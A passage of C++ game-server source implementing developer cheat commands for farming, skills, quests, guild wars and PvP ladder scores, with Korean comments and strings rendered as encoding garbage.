wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> Ӽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case FARM_PLANTSEED :
{
# if defined( _GAMESERVER )
// { FARM_PLANTSEED, _T("/plantseed"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/plantseed(AreaIndex)(ActionType)(SeedInvenIndex)" },
if ( tokens . size ( ) < 3 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) = = false )
return false ;
CSFarmPlant TxPacket ;
memset ( & TxPacket , 0 , sizeof ( TxPacket ) ) ;
TxPacket . iAreaIndex = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
TxPacket . ActionType = static_cast < Farm : : ActionType : : eType > ( _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ;
TxPacket . cSeedInvenIndex = _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
pGameRoom - > GetGameTask ( ) - > OnDispatchMessage ( m_pSession , CS_FARM , eFarm : : CS_PLANT , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) - sizeof ( TxPacket . AttachItems ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case FARM_DESTROYSEED :
{
# if defined( _GAMESERVER )
// { FARM_DESTROYSEED, _T("/destroyseed"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/destroyseed(AreaIndex)") },
if ( tokens . size ( ) < 2 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) = = false )
return false ;
CGrowingArea * pArea = static_cast < CDnFarmGameTask * > ( pGameRoom - > GetGameTask ( ) ) - > GetGrowingArea ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
pArea - > ChangeState ( Farm : : AreaState : : NONE ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case FARM_SKIPSEED :
{
# if defined( _GAMESERVER )
// { FARM_SKIPSEED, _T("/skipseed"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/skipseed(AreaIndex)") },
if ( tokens . size ( ) < 2 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) = = false )
return false ;
float fMinusSec = 2.f ;
if ( tokens . size ( ) > = 3 )
fMinusSec = static_cast < float > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
CGrowingArea * pArea = static_cast < CDnFarmGameTask * > ( pGameRoom - > GetGameTask ( ) ) - > GetGrowingArea ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
if ( pArea & & pArea - > GetState ( ) = = Farm : : AreaState : : GROWING )
pArea - > GetPlantSeed ( ) - > SkipSeed ( fMinusSec ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
# if defined( PRE_ADD_FARM_DOWNSCALE )
case FARM_ADDATTR :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < 2 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) = = false )
return false ;
CDNFarmGameRoom * pFarmRoom = static_cast < CDNFarmGameRoom * > ( pGameRoom ) ;
pFarmRoom - > AddAttr ( static_cast < Farm : : Attr : : eType > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ) ;
# if defined( _WORK )
WCHAR wszTemp [ MAX_PATH ] ;
wsprintf ( wszTemp , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Attr <20> <> <EFBFBD> <EFBFBD> %d <20> Դϴ<D4B4> ." , pFarmRoom - > GetAttr ( ) ) ;
m_pSession - > SendDebugChat ( wszTemp ) ;
# endif // #if defined( _WORK )
# endif // #if defined( _GAMESERVER )
break ;
}
# endif // #if defined( PRE_ADD_FARM_DOWNSCALE )
# if defined( PRE_ADD_FARM_DOWNSCALE )
case FARM_DELATTR :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < 2 )
return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) = = false )
return false ;
CDNFarmGameRoom * pFarmRoom = static_cast < CDNFarmGameRoom * > ( pGameRoom ) ;
pFarmRoom - > DelAttr ( static_cast < Farm : : Attr : : eType > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ) ;
# if defined( _WORK )
WCHAR wszTemp [ MAX_PATH ] ;
wsprintf ( wszTemp , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Attr <20> <> <EFBFBD> <EFBFBD> %d <20> Դϴ<D4B4> ." , pFarmRoom - > GetAttr ( ) ) ;
m_pSession - > SendDebugChat ( wszTemp ) ;
# endif // #if defined( _WORK )
# endif // #if defined( _GAMESERVER )
break ;
}
# endif // #if defined( PRE_ADD_FARM_DOWNSCALE )
case NESTCLEAR :
{
// { NESTCLEAR, _T("/nest"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/nest(NestMapID)") },
if ( tokens . size ( ) < 2 )
return false ;
int nMapID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
const TMapInfo * pMapInfo = g_pDataManager - > GetMapInfo ( nMapID ) ;
if ( ! pMapInfo ) return false ;
# if defined(PRE_SHARE_MAP_CLEARCOUNT)
DNTableFileFormat * pSox = GetDNTable ( CDnTableDB : : TMAP ) ;
if ( pSox - > IsExistItem ( nMapID ) )
{
int nDungeonEnterTableID = pSox - > GetFieldFromLablePtr ( nMapID , " _EnterConditionTableID " ) - > GetInteger ( ) ;
if ( nDungeonEnterTableID > 0 )
{
DNTableFileFormat * pDungeonSOX = GetDNTable ( CDnTableDB : : TDUNGEONENTER ) ;
if ( pDungeonSOX - > IsExistItem ( nDungeonEnterTableID ) ) {
if ( pDungeonSOX - > GetFieldFromLablePtr ( nDungeonEnterTableID , " _ShareCountMap " ) - > GetInteger ( ) > 0 )
{
nMapID = pDungeonSOX - > GetFieldFromLablePtr ( nDungeonEnterTableID , " _ShareCountMap " ) - > GetInteger ( ) ;
pMapInfo = g_pDataManager - > GetMapInfo ( nMapID ) ;
if ( ! pMapInfo ) return false ;
}
}
}
}
# endif
if ( m_pSession - > GetNestClearTotalCount ( nMapID ) > = ( pMapInfo - > nMaxClearCount + m_pSession - > m_nExpandNestClearCount ) )
return false ;
m_pSession - > AddNestClear ( nMapID ) ;
m_pSession - > SendUpdateNestClear ( m_pSession - > GetNestClearCount ( nMapID ) ) ;
}
break ;
# if defined( PRE_ADD_SECONDARY_SKILL )
case ADD_SECONDARYSKILL :
{
// { ADD_SECONDARYSKILL, _T("/add2ndskill"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskill(SkillID)") },
if ( tokens . size ( ) < 2 )
return false ;
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetSecondarySkillRepository ( ) - > Create ( iSkillID ) ;
break ;
}
case DEL_SECONDARYSKILL :
{
// { DEL_SECONDARYSKILL, _T("/del2ndskill"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/del2ndskill(SkillID)") },
if ( tokens . size ( ) < 2 )
return false ;
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
SecondarySkill : : CSDelete TxPacket ;
memset ( & TxPacket , 0 , sizeof ( TxPacket ) ) ;
TxPacket . iSkillID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > OnRecvSecondarySkillMessage ( eSecondarySkill : : CS_DELETE , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) ) ;
break ;
}
case ADD_SECONDARYSKILL_EXP :
{
// { ADD_SECONDARYSKILL_EXP, _T("/add2ndskillexp"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillexp(SkillID)(addexp)" },
if ( tokens . size ( ) < 3 )
return false ;
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int iAddExp = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
m_pSession - > GetSecondarySkillRepository ( ) - > AddExp ( iSkillID , iAddExp ) ;
break ;
}
case ADD_SECONDARYSKILL_RECIPE :
{
// { ADD_SECONDARYSKILL_RECIPE, _T("/add2ndskillrecipe"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillrecipe(SkillID)(recipeinvenindex)" },
if ( tokens . size ( ) < 3 )
return false ;
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int iInvenIndex = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
const TItem * pItem = m_pSession - > GetItem ( ) - > GetInventory ( iInvenIndex ) ;
if ( pItem = = NULL )
break ;
SecondarySkill : : CSAddRecipe TxPacket ;
TxPacket . iSkillID = iSkillID ;
TxPacket . cInvenType = ITEMPOSITION_INVEN ;
TxPacket . cInvenIndex = static_cast < BYTE > ( iInvenIndex ) ;
TxPacket . biInvenSerial = pItem - > nSerial ;
m_pSession - > OnRecvSecondarySkillMessage ( eSecondarySkill : : CS_ADD_RECIPE , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) ) ;
break ;
}
case ADD_SECONDARYSKILL_RECIPE_EXP :
{
// { ADD_SECONDARYSKILL_RECIPE_EXP, _T("/add2ndskillrecipeexp"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillrecipeexp(SkillID)(recipeItemID)(addexp)" },
if ( tokens . size ( ) < 4 )
return false ;
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int iItemID = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
int iAddExp = _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
m_pSession - > GetSecondarySkillRepository ( ) - > AddRecipeExp ( iSkillID , iItemID , iAddExp ) ;
break ;
}
case DEL_SECONDARYSKILL_RECIPE :
{
// { DEL_SECONDARYSKILL_RECIPE, _T("/del2ndskillrecipe"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/del2ndskillrecipe(SkillID)(recipeItemID)" },
if ( tokens . size ( ) < 3 )
return false ;
SecondarySkill : : CSDeleteRecipe TxPacket ;
memset ( & TxPacket , 0 , sizeof ( TxPacket ) ) ;
TxPacket . iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
TxPacket . iItemID = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
m_pSession - > OnRecvSecondarySkillMessage ( eSecondarySkill : : CS_DELETE_RECIPE , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) ) ;
break ;
}
case EXTRACT_SECONDARYSKILL_RECIPE :
{
// { EXTRACT_SECONDARYSKILL_RECIPE, _T("/extract2ndskillrecipe"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/extract2ndskillrecipe(SkillID)(recipeItemID)" },
if ( tokens . size ( ) < 3 )
return false ;
SecondarySkill : : CSExtractRecipe TxPacket ;
memset ( & TxPacket , 0 , sizeof ( TxPacket ) ) ;
TxPacket . iSkillID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
TxPacket . iItemID = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
m_pSession - > OnRecvSecondarySkillMessage ( eSecondarySkill : : CS_EXTRACT_RECIPE , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) ) ;
break ;
}
# endif // #if defined( PRE_ADD_SECONDARY_SKILL )
case SET_PERIODQUEST :
{
if ( tokens . size ( ) < = 2 )
return false ;
// Ȱ<> <C8B0> /<2F> <> Ȱ<EFBFBD> <C8B0> ȭ <20> ÷<EFBFBD> <C3B7> װ<EFBFBD>
int nFlag = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( nFlag < 0 | | nFlag > 1 )
return false ;
bool bFlag ;
if ( nFlag = = 0 ) bFlag = false ;
else bFlag = true ;
// <20> ð<EFBFBD> <C3B0> <EFBFBD> <20> <> <EFBFBD> Ѵ <EFBFBD> .
time_t tStartDate = 0 , tEndDate = 0 ;
if ( tokens . size ( ) > 3 )
{
char szDate [ 512 ] = { 0 , } ;
ZeroMemory ( szDate , sizeof ( char ) * 512 ) ;
WideCharToMultiByte ( CP_ACP , 0 , tokens [ 3 ] . c_str ( ) , - 1 , szDate , 512 , NULL , NULL ) ;
std : : vector < string > vCompleteDate ;
TokenizeA ( szDate , vCompleteDate , " : " ) ;
if ( vCompleteDate . size ( ) = = PERIODQUEST_TIME_MAX )
{
CTimeSet tStartSet ( vCompleteDate [ PERIODQUEST_TIME_START ] . c_str ( ) , true ) ;
CTimeSet tEndSet ( vCompleteDate [ PERIODQUEST_TIME_END ] . c_str ( ) , true ) ;
tStartDate = tStartSet . GetTimeT64_LC ( ) ;
tEndDate = tEndSet . GetTimeT64_LC ( ) ;
}
}
int nWorldSetID ;
# if defined(_VILLAGESERVER)
nWorldSetID = g_Config . nWorldSetID ;
# elif defined(_GAMESERVER)
nWorldSetID = m_pSession - > GetWorldSetID ( ) ;
# endif
if ( ! g_pPeriodQuestSystem - > SetActivateQuest ( _wtoi ( tokens [ 1 ] . c_str ( ) ) , bFlag , tStartDate , tEndDate ) )
return false ;
break ;
}
case SET_WORLDQUEST :
{
if ( tokens . size ( ) < = 4 )
return false ;
int nScheduleID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
char szDate [ 512 ] = { 0 , } ;
ZeroMemory ( szDate , sizeof ( char ) * 512 ) ;
WideCharToMultiByte ( CP_ACP , 0 , tokens [ 2 ] . c_str ( ) , - 1 , szDate , 512 , NULL , NULL ) ;
CTimeSet tCollectStartSet ( szDate , true ) ;
ZeroMemory ( szDate , sizeof ( char ) * 512 ) ;
WideCharToMultiByte ( CP_ACP , 0 , tokens [ 3 ] . c_str ( ) , - 1 , szDate , 512 , NULL , NULL ) ;
CTimeSet tCollectEndSet ( szDate , true ) ;
ZeroMemory ( szDate , sizeof ( char ) * 512 ) ;
WideCharToMultiByte ( CP_ACP , 0 , tokens [ 4 ] . c_str ( ) , - 1 , szDate , 512 , NULL , NULL ) ;
CTimeSet tRewardSet ( szDate , true ) ;
if ( ! g_pPeriodQuestSystem - > SetWorldEventTime ( nScheduleID , tCollectStartSet . GetTimeT64_LC ( ) , tCollectEndSet . GetTimeT64_LC ( ) , tRewardSet . GetTimeT64_LC ( ) ) )
return false ;
break ;
}
case SET_GUILDWAREVENT :
{
# if defined(_GAMESERVER)
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ð<EFBFBD> ġƮŰ.\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
# else
if ( tokens . size ( ) < 5 )
return false ;
int nIndex = 1 ;
int nScheduleID = _wtoi ( tokens [ nIndex + + ] . c_str ( ) ) ;
char szDate [ 512 ] = { 0 , } ;
ZeroMemory ( szDate , sizeof ( char ) * 512 ) ;
WideCharToMultiByte ( CP_ACP , 0 , tokens [ nIndex + + ] . c_str ( ) , - 1 , szDate , 512 , NULL , NULL ) ;
int nEventPeriod = _wtoi ( tokens [ nIndex + + ] . c_str ( ) ) ;
int nReadyPeriod = _wtoi ( tokens [ nIndex + + ] . c_str ( ) ) ;
CTimeSet tEventTime ( szDate , true ) ;
if ( ! tEventTime . CheckIntegrity ( ) )
return false ;
TAGetGuildWarSchedule ScheduleData ;
memset ( & ScheduleData , 0 , sizeof ( ScheduleData ) ) ;
ScheduleData . wScheduleID = ( short ) nScheduleID ;
for ( int i = GUILDWAR_STEP_PREPARATION ; i < GUILDWAR_STEP_END ; i + + )
{
//ScheduleData.EventInfo[i].cEventStep = i;
ScheduleData . EventInfo [ i ] . tBeginTime = tEventTime . GetTimeT64_LC ( ) ;
tEventTime . AddSecond ( nEventPeriod * 60 ) ;
//if(i == GUILDWAR_STEP_REWARD)
//{
// ScheduleData.tMainBeginDate = tEventTime.GetTimeT64_LC();
// tEventTime.AddSecond(nEventPeriod*60);
//}
ScheduleData . EventInfo [ i ] . tEndTime = tEventTime . GetTimeT64_LC ( ) ;
tEventTime . AddSecond ( nReadyPeriod * 60 ) ;
}
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendSetGuildWarSchedule ( ERROR_NONE , ScheduleData . wScheduleID , ScheduleData . wWinersWeightRate , ScheduleData . EventInfo , true , true , 0 ) ;
break ;
# endif //#if defined(_GAMESERVER)
}
case SET_PREWINGUILDUID :
{
if ( ! m_pSession - > GetGuildUID ( ) . IsSet ( ) )
return false ;
TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
# if defined( _VILLAGESERVER )
g_pGuildWarManager - > SetPreWinGuildUID ( GuildUID ) ;
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
break ;
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
CDNGuildVillage * pGuildVillage = static_cast < CDNGuildVillage * > ( pGuild ) ;
pGuildVillage - > SendGuildWarPreWinGuild ( true ) ;
# else
g_pMasterConnectionManager - > SetPreWinGuildUID ( m_pSession - > GetWorldSetID ( ) , GuildUID ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
case SET_GUILDWAR_FINALTIME :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < 2 )
return false ;
CTimeSet CurTime ;
CurTime . AddSecond ( _wtoi ( tokens [ 1 ] . c_str ( ) ) ) ;
g_pMasterConnectionManager - > SetGuildWarFinalStartTimeForCheat ( m_pSession - > GetWorldSetID ( ) , CurTime . GetTimeT64_LC ( ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case SET_GUILDWARSCHEDULE_RELOAD :
{
# if defined(_VILLAGESERVER)
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendGuildWarScheduleReload ( ) ;
# endif
break ;
}
case SET_TITLE :
{
if ( tokens . size ( ) < 2 )
return false ;
int nIndex = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nIndex - 1 > = APPELLATIONMAX_BITSIZE )
return false ;
m_pSession - > GetAppellation ( ) - > RequestAddAppellation ( nIndex - 1 ) ;
break ;
}
// { SET_LADDER_POINT, _T("/setladderpoint"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladderpoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ)") },
case SET_LADDER_POINT :
{
if ( tokens . size ( ) ! = 3 )
return false ;
LadderSystem : : MatchType : : eCode MatchType = static_cast < LadderSystem : : MatchType : : eCode > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
if ( LadderSystem : : bIsServiceMatchType ( MatchType ) = = false )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModPvPLadderScoresForCheat ( m_pSession , MatchType , _ttoi ( tokens [ 2 ] . c_str ( ) ) , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetGradePoint ( MatchType ) , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetHiddenGradePoint ( MatchType ) ) ;
break ;
}
// { SET_LADDER_GRADEPOINT, _T("/setladdergradepoint"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladdergradepoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> )") },
case SET_LADDER_GRADEPOINT :
{
if ( tokens . size ( ) ! = 3 )
return false ;
LadderSystem : : MatchType : : eCode MatchType = static_cast < LadderSystem : : MatchType : : eCode > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
if ( LadderSystem : : bIsServiceMatchType ( MatchType ) = = false )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModPvPLadderScoresForCheat ( m_pSession , MatchType , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > iPvPLadderPoint , _ttoi ( tokens [ 2 ] . c_str ( ) ) , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetHiddenGradePoint ( MatchType ) ) ;
break ;
}
// { SET_LADDER_HIDDENGRADEPOINT, _T("/setladderhiddengradepoint"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladderhiddengradepoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )") },
case SET_LADDER_HIDDENGRADEPOINT :
{
if ( tokens . size ( ) ! = 3 )
return false ;
LadderSystem : : MatchType : : eCode MatchType = static_cast < LadderSystem : : MatchType : : eCode > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
if ( LadderSystem : : bIsServiceMatchType ( MatchType ) = = false )
return false ;
m_pSession - > GetDBConnection ( ) - > QueryModPvPLadderScoresForCheat ( m_pSession , MatchType , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > iPvPLadderPoint , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetGradePoint ( MatchType ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ;
break ;
}
// { GET_LADDER_POINT, _T("/getladderpoint"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/getladderpoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )") },
case GET_LADDER_POINT :
{
if ( tokens . size ( ) ! = 2 )
return false ;
LadderSystem : : MatchType : : eCode MatchType = static_cast < LadderSystem : : MatchType : : eCode > ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
if ( LadderSystem : : bIsServiceMatchType ( MatchType ) = = false )
return false ;
WCHAR wszBuf [ MAX_PATH ] ;
wsprintf ( wszBuf , L " LadderPoint:%d LadderGradePoint=%d HiddenLadderGradePoint=%d " , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > iPvPLadderPoint , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetGradePoint ( MatchType ) , m_pSession - > GetPvPLadderScoreInfoPtr ( ) - > GetHiddenGradePoint ( MatchType ) ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
break ;
}
// { FORCE_LADDER_MATCHING, _T("/forcematching"), _T("<22> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/forcematching") },
case FORCE_LADDER_MATCHING :
{
# if defined( _VILLAGESERVER )
LadderSystem : : CRoom * pRoom = LadderSystem : : CManager : : GetInstance ( ) . GetRoomPtr ( m_pSession - > GetCharacterName ( ) ) ;
if ( pRoom )
pRoom - > ToggleForceMatching ( ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if !defined( _VILLAGESERVER )
break ;
}
case SET_SECOND_JOB_SKILL :
{
# ifdef _VILLAGESERVER
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> Ӽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 2<> <32> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ų <20> ӽ÷<D3BD> <20> <> <EFBFBD> <EFBFBD> ġƮŰ.\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
# else
// 2<> <32> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> ȣ <EFBFBD> <C8A3> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> ִ<EFBFBD> <D6B4> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ο <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> .
if ( ( int ) tokens . size ( ) < 2 )
return false ;
int iJobID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
CDnPlayerActor * pPlayerActor = m_pSession - > GetPlayerActor ( ) ;
if ( pPlayerActor )
{
if ( pPlayerActor - > CanChangeJob ( iJobID ) )
{
// <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EEB0A1> 2<> <32> <20> <> <EFBFBD> <EFBFBD> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> ID
switch ( iJobID )
{
// <20> ҵ帶<D2B5> <E5B8B6> <EFBFBD> <EFBFBD> -> <20> ۷ <EFBFBD> <DBB7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 23 :
{
// <20> ӽ<EFBFBD> <20> <> ų <20> ߰<EFBFBD> <DFB0> <EFBFBD> <20> <> <EFBFBD> ؼ<EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <> Ŷ<EFBFBD> <C5B6> <20> <> <EFBFBD> <EFBFBD> ..
pPlayerActor - > AddTempSkill ( 301 ) ; // <20> ̺<EFBFBD> <CCBA> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 302 ) ; // Ʈ<> <C6AE> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 303 ) ; // <20> ǴϽ<C7B4> <20> <> <EFBFBD> <EFBFBD>
}
break ;
// <20> ҵ帶<D2B5> <E5B8B6> <EFBFBD> <EFBFBD> -> <20> <> <EFBFBD> ε<EFBFBD>
case 24 :
{
pPlayerActor - > AddTempSkill ( 351 ) ; // <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ̵<EFBFBD> <20> <> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 352 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> ø<EFBFBD> <C3B8> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 353 ) ; // <20> ÷<EFBFBD> <C3B7> <EFBFBD> <20> <> <EFBFBD> Ľ<EFBFBD>
}
break ;
// <20> Ӽųʸ<C5B3> -> <20> ٹٸ<D9B9> <D9B8> <EFBFBD>
case 25 :
{
pPlayerActor - > AddTempSkill ( 501 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> Ʈ
pPlayerActor - > AddTempSkill ( 502 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 503 ) ; // <20> <> ũ<> <C5A9> <EFBFBD> <EFBFBD>
}
break ;
// <20> Ӽųʸ<C5B3> -> <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <EFBFBD> ̾<EFBFBD>
case 26 :
{
pPlayerActor - > AddTempSkill ( 551 ) ; // <20> 극<EFBFBD> <EAB7B9> ŷ <20> <> <EFBFBD> <EFBFBD> Ʈ
pPlayerActor - > AddTempSkill ( 552 ) ; // <20> ö<EFBFBD> <C3B6> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ex
